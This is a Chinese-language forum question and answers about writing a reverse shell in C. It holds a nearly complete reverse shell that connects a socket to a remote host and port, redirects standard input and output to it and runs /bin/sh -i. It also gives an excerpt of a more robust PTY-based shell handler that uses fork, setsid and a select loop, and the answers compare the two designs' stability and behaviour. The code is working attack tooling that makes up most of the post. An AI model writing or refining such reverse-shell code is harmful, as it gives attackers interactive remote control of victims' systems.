反弹Shell的编程问题
在写代码的时候都尽可能简单和直接,我的编程方法:
int sock = socket(AF_INET, SOCK_STREAM, 0);
struct sockaddr_in stRemoteAddr = {0};
socklen_t socklen = 0;
dup2(sock, 0);
dup2(sock, 1);
dup2(sock, 2);
#ifdef DEBUG
check(0, "redirectShell...\n");
#endif
if (sock < 0)
exit(0);
char *argv[] = {"sh", "-i", NULL};
char *envp[] = {0, NULL};
stRemoteAddr.sin_family = AF_INET;
stRemoteAddr.sin_addr.s_addr = hostIP;
stRemoteAddr.sin_port = htons(hostPort);
if ((connect(sock, (struct sockaddr_in *)&stRemoteAddr, sizeof(stRemoteAddr))) < 0)
exit(0);
sleep(1);
execve("/bin/sh", argv, envp);
close(sock);
然后我看别人的代码,是这么写的,只放相关代码
fd_set rd;
struct winsize ws;
char *slave, *temp, *shell;
int ret, len, pid, pty, tty, n;
if( openpty( &pty, &tty, NULL, NULL, NULL ) < 0 )
{
return( 24 );
}
slave = ttyname( tty );
if( slave == NULL )
{
return( 25 );
}
……
if( ioctl( pty, TIOCSWINSZ, &ws ) < 0 )
{
return( 40 );
}
……
pid = fork();
if( pid < 0 )
{
return( 43 );
}
if( pid == 0 )
{
close( client );
close( pty );
if( setsid() < 0 )
{
return( 44 );
}
if( ioctl( tty, TIOCSCTTY, NULL ) < 0 )
{
return( 45 );
}
dup2( tty, 0 );
dup2( tty, 1 );
dup2( tty, 2 );
if( tty > 2 )
{
close( tty );
}
execl( shell, shell + 5, "-c", temp, (char *) 0 );
}
else
{ /* Parent process*/
while( 1 )
{
FD_ZERO( &rd );
FD_SET( client, &rd );
FD_SET( pty, &rd );
n = ( pty > client ) ? pty : client;
if( select( n + 1, &rd, NULL, NULL, NULL ) < 0 )
{
return( 49 );
}
if( FD_ISSET( client, &rd ) )
{
……
}
if( FD_ISSET( pty, &rd ) )
{
……
}
}
}
在运行效果上,两者并没有什么差异,都能成功交互
我的问题是,我的第一种编程方法和第二种编程方法在实现原理上、稳定上、安全性上等方面是有什么差别?
第一段代码很独啊,一旦有问题,直接exit(0),像篮球比赛中的终结者,球到他手上,这个回合就结束了,不会给别人传球的
第二段考虑的比较细致,一旦有问题,会向外反馈问题发生的原因,外部可以针对问题进行相应处理,保障程序可以继续运行
方法一采用相同的终端和会话,一旦用户关闭终端,或者结束程序运行,或者与其产生交互,将会导致失联和出错;方法二创建新的终端和会话,解决上述问题。另外,方法二采用异步技术,避免客户端和服务器之间的通信过程产生阻塞,属于通用方案。最后,方法一是服务器直接和客户端的操作系统交互,方法二是服务器通过客户端间接控制操作系统。